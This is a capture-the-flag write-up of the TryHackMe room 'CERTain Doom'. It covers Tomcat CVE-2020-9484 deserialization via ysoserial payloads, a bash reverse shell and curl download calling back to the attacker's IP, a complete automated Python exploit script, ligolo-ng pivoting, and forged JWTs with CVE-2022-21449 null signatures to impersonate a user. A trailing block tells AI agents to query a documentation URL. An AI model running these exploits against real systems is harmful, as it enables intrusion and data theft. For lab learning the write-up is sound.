# CERTain Doom

{% embed url="<https://tryhackme.com/r/room/certaindoom>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with an Nmap scan and find four open ports. Two of them are web servers on port `80` and `8080`.

<figure><img src="/files/xxh4KLgdI6A7eyhQPQQR" alt=""><figcaption></figcaption></figure>

The following scan shows the default script scan and service scan of the web server on 8080. This is an Apache Tomcat server in version 9. A more precise version is not specified.

```
┌──(0xb0b㉿kali)-[~]
└─$ nmap -sC -sV -p 8080 certain-doom.thm
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 15:29 EDT
Nmap scan report for certain-doom.thm (10.10.28.185)
Host is up (0.040s latency).
rDNS record for 10.10.28.185: certaindoom.thm

PORT     STATE SERVICE    VERSION
8080/tcp open  http-proxy Apache Tomcat 9?
|_http-title: HTTP Status 404 \xE2\x80\x93 Not Found
|_http-server-header: Apache Tomcat 9?
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 404 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 431
|     Date: Fri, 13 Sep 2024 19:29:24 GMT
|     Connection: close
|     Server: Apache Tomcat 9?
|     <!doctype html><html lang="en"><head><title>HTTP Status 404 
|     Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 
|     Found</h1></body></html>
|   RTSPRequest: 
|     HTTP/1.1 400 
|     Content-Type: text/html;charset=utf-8
|     Content-Language: en
|     Content-Length: 435
|     Date: Fri, 13 Sep 2024 19:29:24 GMT
|     Connection: close
|     Server: Apache Tomcat 9?
|     <!doctype html><html lang="en"><head><title>HTTP Status 400 
|     Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400 
|_    Request</h1></body></html>
```

Next, we enumerate the directories and pages of the endpoint on port `80` but do not find anything of interest.

<figure><img src="/files/jsEece5e5viz986KMnfU" alt=""><figcaption></figcaption></figure>

Visiting the page gives us an ASCII art rickroll animation. The page redirects us later to a YouTube video.

<figure><img src="/files/eQrJH4u0ZPQLWPMwgQai" alt=""><figcaption></figcaption></figure>

In the source, we can find a domain and a subdomain. But further enumeration doesn't yield anything of interest.

<figure><img src="/files/LFswvTaiZxhH6AjzAOx5" alt=""><figcaption></figcaption></figure>

We move on to the web server on port `8080`. Here we have a single site, enumerable: `reports`.

<figure><img src="/files/KBVoI7HSJuZfBNuG3fpg" alt=""><figcaption></figcaption></figure>

The site itself does not have an index page.

<figure><img src="/files/RuKA8j0FvrqZAKbTrHR9" alt=""><figcaption></figcaption></figure>

On the report page, we can upload reports, which could be interesting.

<figure><img src="/files/JyA2rQXM0FVMrnRJy4eZ" alt=""><figcaption></figcaption></figure>

## Web Flag

We recall the nmap scan. After a short research on Apache Tomcat version 9, we come across `CVE-2020-9484`, which allows RCE. With that, we should be able to establish a reverse shell.

> The vulnerability exists due to insecure input validation when processing serialized data in uploaded files names. A remote attacker can pass specially crafted file name to the application and execute arbitrary code on the target system.

Further research yields to some POCs, but those rely on an upload page that is not present, and those use paths that are different from those where the files are placed. The following PoC serves as the basis for our exploit and to understand how to exactly get code execution:

{% embed url="<https://github.com/PenTestical/CVE-2020-9484>" %}

The exploit uses ysoserial to generate the payloads to be executed later. The relative path is then specified in the `JSESSONID` cookie to execute the payload.

But first of all, let's take a look at what happens when an upload is successful. The page is asking for PDF files to upload, but we are able to upload any file type. We get the feedback that the file is saved in `/usr/local/tomcat/temp/uploads`.

<figure><img src="/files/zjrKOqB98gPUfjqDnQFg" alt=""><figcaption></figcaption></figure>

For our exploit, we use the following release of ysoserial:

{% embed url="<https://github.com/pwntester/ysoserial.net/releases/tag/v1.36>" %}

As in the script, we create a payload that is then downloaded from our attacker machine, whose permissions are customized and then executed.

<figure><img src="/files/arLAKXEilyA3cCved0nt" alt=""><figcaption></figcaption></figure>

{% code title="payload.sh" %}

```
#!/usr/bin/bash
bash -c 'bash -i >& /dev/tcp/10.8.211.1/4444 0>&1'
```

{% endcode %}

In the first attempt, I used Docker for payload creation, but this did not use Java 11, hence the hint with the first flag. To circumvent this issue, we can use the following solution:<br>

{% embed url="<https://github.com/frohoff/ysoserial/issues/205>" %}

**Generate Payload to download our payload:**

{% code overflow="wrap" %}

```
PATH=/usr/lib/jvm/java-11-openjdk-amd64/bin:$PATH java -jar ysoserial-all.jar CommonsCollections2 'curl http://10.8.211.1/payload.sh -o /usr/local/tomcat/temp/uploads/payload.sh' > downloadPayload.session
```

{% endcode %}

Next, we upload the payload and intercept the request with Burp Suite to edit the `JSESSIONID` cookie with the relative path to execute the payload. We forward the request.

With the following path, we got a 500-server response and a connection back to our HTTP server, indicating that our payload worked.

```
../../../../../temp/uploads/downloadPayload
```

<figure><img src="/files/YlGHV15ZJmKBb05U8ggg" alt=""><figcaption></figcaption></figure>

The exact same steps are taken with the next payloads. We upload them, intercept the request, edit the JSESSIONID cookie, and forward the request.

**Change permissions:**

{% code overflow="wrap" %}

```
PATH=/usr/lib/jvm/java-11-openjdk-amd64/bin:$PATH java -jar ysoserial-all.jar CommonsCollections2 "chmod 777 /usr/local/tomcat/temp/uploads/payload.sh" > chmodPayload.session
```

{% endcode %}

```
../../../../../temp/uploads/chmodPayload
```

**Execute script:**

{% code overflow="wrap" %}

```
PATH=/usr/lib/jvm/java-11-openjdk-amd64/bin:$PATH java -jar ysoserial-all.jar CommonsCollections2 "bash /usr/local/tomcat/temp/uploads/payload.sh" > executePayload.session
```

{% endcode %}

```
../../../../../temp/uploads/executePayload
```

After uploading and executing all our payloads, we receive a reverse shell and find the flag (`.flag`) in the current directory after getting a connection.

<figure><img src="/files/RTnOHKdB1sMWxTtEZQPB" alt=""><figcaption></figcaption></figure>

To simplify these steps, 0day has provided us with the following script that fully automates everything. The interactive mode can be started using `python3 exploit -i`.

{% embed url="<https://github.com/0dayCTF/CVE-2020-9484/>" %}

{% code title="exploit.py" overflow="wrap" lineNumbers="true" %}

```python
#!/usr/bin/env python3
import requests
import os
import subprocess
import argparse
import time

# Exploit Title: Apache Tomcat RCE by deserialization (Python Version for CERTain Doom and JDK 11)
# CVE-ID: CVE-2020-9484
# Original Author: Pentestical
# Python Version by: Ryan Montgomery (0day)
# Shoutout to ChatGPT for interactive mode and the cleanup :)

YSOSERIAL_URL = "https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar"
YSOSERIAL_FILENAME = "ysoserial-all.jar"
JAVA_PATH = "/usr/lib/jvm/java-11-openjdk-amd64/bin"  # Java 11 path

def verbose(msg):
    print(f"[{time.strftime('%H:%M:%S')}] {msg}")

def download_ysoserial():
    if not os.path.exists(YSOSERIAL_FILENAME):
        verbose(f"[*] Downloading {YSOSERIAL_FILENAME} from {YSOSERIAL_URL}")
        response = requests.get(YSOSERIAL_URL, stream=True)
        with open(YSOSERIAL_FILENAME, 'wb') as f:
            for chunk in response.iter_content(chunk_size=8192):
                if chunk:
                    f.write(chunk)
        verbose(f"[+] {YSOSERIAL_FILENAME} downloaded successfully")
    else:
        verbose(f"[+] {YSOSERIAL_FILENAME} already exists, skipping download")

def create_payload_files(attacker_ip, attacker_port):
    payload_file = 'payload.sh'
    verbose(f"[+] Creating {payload_file} (reverse shell script)...")

    with open(payload_file, 'w') as f:
        f.write(f"#!/usr/bin/bash\nbash -c 'bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1'\n")

    verbose("[*] Generating downloadPayload.session...")
    subprocess.run([f"{JAVA_PATH}/java", "-jar", YSOSERIAL_FILENAME, "CommonsCollections2",
                    f"curl http://{attacker_ip}/payload.sh -o /usr/local/tomcat/temp/uploads/payload.sh"],
                   stdout=open('downloadPayload.session', 'w'))

    verbose("[*] Generating chmodPayload.session...")
    subprocess.run([f"{JAVA_PATH}/java", "-jar", YSOSERIAL_FILENAME, "CommonsCollections2",
                    "chmod 777 /usr/local/tomcat/temp/uploads/payload.sh"],
                   stdout=open('chmodPayload.session', 'w'))

    verbose("[*] Generating executePayload.session...")
    subprocess.run([f"{JAVA_PATH}/java", "-jar", YSOSERIAL_FILENAME, "CommonsCollections2",
                    "bash /usr/local/tomcat/temp/uploads/payload.sh"],
                   stdout=open('executePayload.session', 'w'))

    verbose(f"[+] All payloads created, {payload_file} is ready.")

def upload_payload(session_id, payload_file, target_ip, target_port):
    verbose(f"[*] Uploading {payload_file} with session ID: {session_id}...")
    url = f"http://{target_ip}:{target_port}/reports/upload"

    headers = {
        'Cookie': f'JSESSIONID={session_id}',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0'
    }

    files = {
        'uploadFile': (payload_file, open(payload_file, 'rb'), 'application/octet-stream')
    }

    response = requests.post(url, headers=headers, files=files)
    verbose(f"[*] Server response: {response.status_code} - {response.reason}")

def execute_payloads(target_ip, target_port):
    verbose("[+] Uploading and executing payloads...")

    upload_payload("../../../../../temp/uploads/downloadPayload", "downloadPayload.session", target_ip, target_port)
    upload_payload("../../../../../temp/uploads/chmodPayload", "chmodPayload.session", target_ip, target_port)
    upload_payload("../../../../../temp/uploads/executePayload", "executePayload.session", target_ip, target_port)

    verbose("[+] Payloads executed. Check for your reverse shell.")

def interactive_mode():
    print("[*] Interactive mode selected.")
    attacker_ip = input("Enter your attacker IP: ")
    attacker_port = input("Enter the port to listen for reverse shell: ")
    target_ip = input("Enter the target IP or hostname: ")
    target_port = input("Enter the target port (default: 8080): ")

    return attacker_ip, int(attacker_port), target_ip, int(target_port or 8080)

def main():
    parser = argparse.ArgumentParser(description='CVE-2020-9484 Exploit Script (modified for CERTain Doom)')
    parser.add_argument('-a', '--attacker', help='Attacker IP (for reverse shell)')
    parser.add_argument('-p', '--port', type=int, help='Attacker port (for reverse shell)')
    parser.add_argument('-t', '--target', help='Target IP')
    parser.add_argument('-P', '--tport', type=int, help='Target port (usually 8080)')
    parser.add_argument('-i', '--interactive', action='store_true', help='Run in interactive mode')

    args = parser.parse_args()

    if args.interactive:
        args.attacker, args.port, args.target, args.tport = interactive_mode()

    if not all([args.attacker, args.port, args.target, args.tport]):
        parser.error("All arguments are required in non-interactive mode. Use -i for interactive mode.")

    verbose("[!] Before running this script, make sure to:")
    verbose("    - Start a Python HTTP server in the directory containing payload.sh (this script will create it for you if you didn't make it yourself):")
    verbose("      sudo python3 -m http.server 80")
    verbose(f"    - Start a Netcat listener on port {args.port}:")
    verbose(f"      nc -nvlp {args.port}")
    input("[*] Press Enter to continue once the web server and Netcat listener are running...")

    download_ysoserial()

    create_payload_files(args.attacker, args.port)
    execute_payloads(args.target, args.tport)

if __name__ == "__main__":
    main()
```

{% endcode %}

## User's Flag

On the system, we see that we are in a docker container. Unfortunately, no docker escape is possible here, but also not necessary.

<figure><img src="/files/RoCYy6jeHHO7HGSHzuAW" alt=""><figcaption></figcaption></figure>

In the host file, we find two interesting entries: `172.18.0.2` and `172.20.0.4`. These are the addresses for this container. There may be other Docker containers in those networks.

<figure><img src="/files/Qikr3I5VjARTelT0Eg0h" alt=""><figcaption></figcaption></figure>

### Setup Ligolo-NG

The next thing we want to do is to make those networks, `172.18.0.0/16` and `172.20.0.0/16` available to us. To achieve this, we use ligolo-ng so that we don't have to try every single possible address with chisel.

> **Ligolo-ng** is a *simple*, *lightweight* and *fast* tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a **tun interface** (without the need of SOCKS).

{% embed url="<https://github.com/nicocha30/ligolo-ng>" %}

First, we set up a TUN (network tunnel) interface named "ligolo" and configuring routes to forward traffic for specific IP ranges (240.0.0.1, 172.18.0.0/16, and 172.20.0.0/16) through the tunnel.

```
┌──(0xb0b㉿kali)-[~]
└─$ sudo ip tuntap add user 0xb0b mode tun ligolo
                                                                                                                                                                                         
┌──(0xb0b㉿kali)-[~]
└─$ sudo ip link set ligolo up                   
                                                                                                                                                                                         
┌──(0xb0b㉿kali)-[~]
└─$ sudo ip route add 240.0.0.1 dev ligolo

┌──(0xb0b㉿kali)-[~]
└─$ sudo ip route add 172.18.0.0/16 dev ligolo  

┌──(0xb0b㉿kali)-[~]
└─$ sudo ip route add 172.20.0.0/16 dev ligolo
```

Next, we download the latest release of ligolo-ng. The proxy and the agent are in the amd64 version.

{% embed url="<https://github.com/nicocha30/ligolo-ng/releases/tag/v0.7.2-alpha>" %}

On our attack machine, we start the proxy server.

```
./proxy -selfcert
```

<figure><img src="/files/Krkwr9H4Oy4XB9wD5i0N" alt=""><figcaption></figcaption></figure>

Next on the target machine we start the agent to connect to our proxy.

<figure><img src="/files/Jq1gQT4yw9ufiaNLd3Dz" alt=""><figcaption></figcaption></figure>

```
bash-4.2# curl http://10.8.211.1/agent -o agent 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 5888k  100 5888k    0     0  4199k      0  0:00:01  0:00:01 --:--:-- 4196k
bash-4.2# chmod +x agent
bash-4.2# ./agent -connect 10.8.211.1:11601 -ignore-cert
WARN[0000] warning, certificate validation disabled     
INFO[0000] Connection established                        addr="10.8.211.1:11601"


```

We receive a message on our ligolo-ng proxy that an agent has joined. We select the session using `session` and then start it.

<figure><img src="/files/vy7s5QM80SB8pjAVBLsn" alt=""><figcaption></figcaption></figure>

We are now able to reach the machines in the networks `172.18.0.0/16` and `172.20.0.0/16`.&#x20;

The machines of interest to us are `172.20.0.3` and `172.20.0.2`.

{% hint style="info" %}
It is possible that the results of the nmap scan are different because the IP addresses could be swapped.
{% endhint %}

<figure><img src="/files/cK4DssSLkILqNpfCRJpI" alt=""><figcaption></figcaption></figure>

### Recon

We have a web server running on `172.20.0.2` on port `80`.

<figure><img src="/files/BGsNteaEIALC1pAeSLf3" alt=""><figcaption></figcaption></figure>

And we have a web server running on `172.20.0.3` on port `8080`.

<figure><img src="/files/XeZjKlSI6jCeITGmycFy" alt=""><figcaption></figcaption></figure>

On the machine that has a web server running on port 80, we do not initially recognize anything conspicuous except a lot of JavaScript.

<figure><img src="/files/3Gv8fuiGbpu65WvmPwvL" alt=""><figcaption></figcaption></figure>

There seems nothing to detect on the machine running the web server on port `8080`.

<figure><img src="/files/MiRB2MTydsdu8GgV4986" alt=""><figcaption></figcaption></figure>

Here, on `172.20.0.2`, we have a library for documents. We can search for them or upload them.

<figure><img src="/files/QV83FGgwCWtXRbvri2tl" alt=""><figcaption></figcaption></figure>

When filtering for a few documents, however, we receive the response `403`, CORS Rejected.

A 403 status code with a "CORS Rejected" message typically indicates that the server is rejecting the request due to Cross-Origin Resource Sharing (CORS) policy violations.&#x20;

The request is being made from a different domain, protocol, or port than the server is configured to allow. We see that the Host is already set to library-back:8080. So this might be the backend of the library page. This all might be set by the JavaScript in the background.

<figure><img src="/files/P6geJttPKMzBV5BqyM1u" alt=""><figcaption></figcaption></figure>

Changing the Origin to `library-back header` gives us a `401`.

<figure><img src="/files/nDTQ8KBqau7KSWUt02xv" alt=""><figcaption></figcaption></figure>

So we add the following entry to our `/etc/hosts` file:

<figure><img src="/files/4sWJS7UcCiVkSQAHjZBe" alt=""><figcaption></figcaption></figure>

But still, we receive CORS errors.

<figure><img src="/files/EjBehvZrLdofFmsT1OdH" alt=""><figcaption></figcaption></figure>

With another addition to our `/etc/hosts` file, we retry the request.

<figure><img src="/files/bspx93sadQ1GfCQpjuw6" alt=""><figcaption></figcaption></figure>

With a new filter request,...

<figure><img src="/files/jM85TFGlu5czml2Flkxk" alt=""><figcaption></figcaption></figure>

... we are now reditected to a login page.

<figure><img src="/files/LRe0GuOGAD7BTU2eyJVc" alt=""><figcaption></figcaption></figure>

We capture the login request to see what is happening. It makes a post request to the backend.

<figure><img src="/files/BGcAoj6JDDf5k3auwLVf" alt=""><figcaption></figcaption></figure>

With the information we got so far from the challenge description, we were able to derive a username and password. With a successful login request, we receive a credz cookie. Using those credentials on the login page, we get redirected back to it. Something seems off.

<figure><img src="/files/E1bzb86inEATt1ZYIDpY" alt=""><figcaption></figcaption></figure>

### Source Code Analysis

Let's move on to analyze the source code to find the error or other useful stuff. We are able to find some endpoints in the backend. We could view the documents like we already know them by requesting `/documents` with the parameters `name` and `author`. Furthermore, we are able to filter for `hidden` documents.

<figure><img src="/files/z8kbCdBVxvT8psbyTaJ2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/gKKJTNqvmWYATG4ZEhKa" alt=""><figcaption></figcaption></figure>

In addition, we are able to download them via `/documents/download/file.name`.

<figure><img src="/files/8mwyFSaR6zkf9wVxTwIU" alt=""><figcaption></figcaption></figure>

### Exfiltration

Now that we have something like a session cookie, we can try to use it directly at the backend. A request for documents unfortunately comes to nothing with a 401.

<figure><img src="/files/tAcTRfVkkXhWFePiQlvl" alt=""><figcaption></figcaption></figure>

But if we add the cookie `credz`, we get insight.

```
http://library-back:8080/documents
```

<figure><img src="/files/fYcEEVn3avu7ZxMAKVgx" alt=""><figcaption></figcaption></figure>

When we search for documents with the author bob, we only find one entry.

```
http://library-back:8080/documents?author=bob
```

<figure><img src="/files/xLfvUFn74WJAxYWXUuYq" alt=""><figcaption></figcaption></figure>

Since we don't know any other authors, we have to help ourselves in another way. Either we fuzz with a list of usernames or we don't specify the parameters completely. Here we also receive the files of the user `hydra`. What is also noticeable is that all the files listed are not hidden.

```
http://library-back:8080/documents?author
```

<figure><img src="/files/5MS3MfdRKMjYVYaHOKsG" alt=""><figcaption></figcaption></figure>

If we search for hidden files, we find two more. Only the ones of our user bob.

```
http://library-back:8080/documents?hidden=true
```

<figure><img src="/files/wLrlWsNCP1AMZQlgEBJN" alt=""><figcaption></figcaption></figure>

Furthermore, we can also query the information on files directly by specifying the ID.

<figure><img src="/files/1NKM3QqxFYbvXLJ40knk" alt=""><figcaption></figcaption></figure>

Next, we try to download all the files we find.

```
http://library-back:8080/documents/download/hello.txt
```

<figure><img src="/files/gya9BrWXI40v7VyMFJuw" alt=""><figcaption></figcaption></figure>

Another rickroll.

<figure><img src="/files/CdnpmoZD7sHOxwI5RGZf" alt=""><figcaption></figcaption></figure>

An interesting todo list

<figure><img src="/files/1N4QU7AV5YrtaCNgVzV4" alt=""><figcaption></figcaption></figure>

And last but not least, the `chat.log`. Here we find the second flag and a hint on how to get to the third.

<figure><img src="/files/d3ZBy2DojRUg3FrH6G11" alt=""><figcaption></figcaption></figure>

## Super Secret Flag

After further enumerating, we have found the endpoint `/documents/count`. Here we can determine the number of documents available. There are five so we are missing one.

```
http://library-back:8080/documents/count
```

<figure><img src="/files/l6yQAjQ60iBjhjSxlow7" alt=""><figcaption></figcaption></figure>

What is striking about the IDs is that they hardly differ except for the last digits. We can therefore fuzz these for further documents.

<figure><img src="/files/pyzDHlO7qV5g1KJNgjs6" alt=""><figcaption></figcaption></figure>

The ID for the `chat.logs` seems to be the next highest. If we increase this by 1, we find the hidden document `specs.pdf`.

```
library-back:8080/documents/64d35510774649ab35626981
```

<figure><img src="/files/aXWgkeMhcCVSX8GEbTcq" alt=""><figcaption></figcaption></figure>

But unfortunately, we cannot open or download this.

<figure><img src="/files/daKC3h2tdv2AKeR0CdJ4" alt=""><figcaption></figcaption></figure>

The chat between hydra and bob was about the authentication method used. Possibly, this refers to the backend. It seems not to be a standard JWT token used with a vulnerability present with the used outdated Java version and chosen algorithm. According to the todo list, this is not completely implemented yet.

{% code overflow="wrap" %}

```
[2023-08-08 18:53] Hydra: It's a standard JWT, no?
[2023-08-08 18:54] Bob: Yeah, but what claims should we use?
[2023-08-08 18:54] Hydra: Just use the standard framework auth.
[2023-08-08 18:55] Hydra: Oh right, the algorithm you're using has a major vulnerability though, you might want to update that or at least patch your Java.
```

{% endcode %}

This could be an indicator of `CVE-2022-21449`.&#x20;

{% embed url="<https://neilmadden.blog/2022/04/19/psychic-signatures-in-java/>" %}

There is a proof of concept for this, using a manipulated signature that passes the checks on the jwt token.

{% embed url="<https://github.com/DataDog/security-labs-pocs/tree/main/proof-of-concept-exploits/jwt-null-signature-vulnerable-app>" %}

So let's recall, we can't open the `specs.pdf` as the user bob, but we know that the file belongs to hydra. Hydra may have more access rights, and in addition to authentication using the credz cookie, there is also incomplete authentication using jwt. The idea can now be to impersonate the user hydra by means of a manipulated jwt token and thus gain access to the document.

We first look at the jwt token in the PoC using jwt.io. Oh man, Rick Astley again.

{% embed url="<https://jwt.io/>" %}

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.R05LldFQf7kay5-8hPeJYnYD_ehxKAKFXo-t6Qt7ZKUKkQSQowOHeiZBI9ierO1q6AZlJ4GsXFsxhPrj6m4cMg
```

<figure><img src="/files/uQAQHdCKZMlUbtdXlgMU" alt=""><figcaption></figcaption></figure>

We submit a token with a valid signature. To do this, we use the Authorization header. After submitting, we receive a 401 response.

<figure><img src="/files/k83Y2OJRuJbcI0t7ECof" alt=""><figcaption></figcaption></figure>

Next, we use the manipulatede one, which just appends an ECDSA signature with `r=s=0` encoded in DER, `MAYCAQACAQA=.`

```
eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.MAYCAQACAQA
```

<figure><img src="/files/zm2Kw0yhZBYS8PXa5TNk" alt=""><figcaption></figcaption></figure>

And this time we receive a `403`, which might work. We get a different response, possibly using the wrong claims or values. This only worked with a header using the algorithm ES256.

<figure><img src="/files/JQv4MVmS11UoTMcTcKji" alt=""><figcaption></figcaption></figure>

With the following claim, we have our first success:

<pre><code><strong>eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJFUzI1NiJ9.eyJncm91cHMiOlsidXNlciJdfQ.MAYCAQACAQA
</strong>
{
  "groups": [
    "user"
  ]
}
</code></pre>

We don't get a `403`, but a `500`. It seems like it's still a bit broken, since we can't filter.

<figure><img src="/files/iU9MtEOppXHS8hfofwLC" alt=""><figcaption></figcaption></figure>

But we can look up the document of our desire. The claim and its value seem to be correct. We might miss another claim with the correct value.

<figure><img src="/files/r6ZcDXIwKTNgRcllM6uH" alt=""><figcaption></figcaption></figure>

And we still cannot download it.

<figure><img src="/files/yZlL3hMOEhS1MJT3R8tJ" alt=""><figcaption></figcaption></figure>

We did not specify the user yet, so by trying different claims, we finally had a hit using the `upn` (User Principal Name) with the value `hydra`.

```
eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJFUzI1NiJ9.eyJ1cG4iOiJoeWRyYSIsImdyb3VwcyI6WyJ1c2VyIl19.MAYCAQACAQA

{
  "upn": "hydra",
  "groups": [
    "user"
  ]
}
```

<figure><img src="/files/EltzpUk6ttkl4G2npikw" alt=""><figcaption></figcaption></figure>

Now we are able to find the hidden files of the user `hydra`.

<figure><img src="/files/1jQMG18sTdF1yPKMpEUs" alt=""><figcaption></figcaption></figure>

Furthermore we can now download the PDF.

<figure><img src="/files/EdNZST3F20vSiT7zxwbc" alt=""><figcaption></figcaption></figure>

And to avoid the last troll, we skip the last page and head to page 8, where we find the last flag hidden.

<figure><img src="/files/0FZQOWlWIxDkj0BWTCoW" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/certain-doom.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
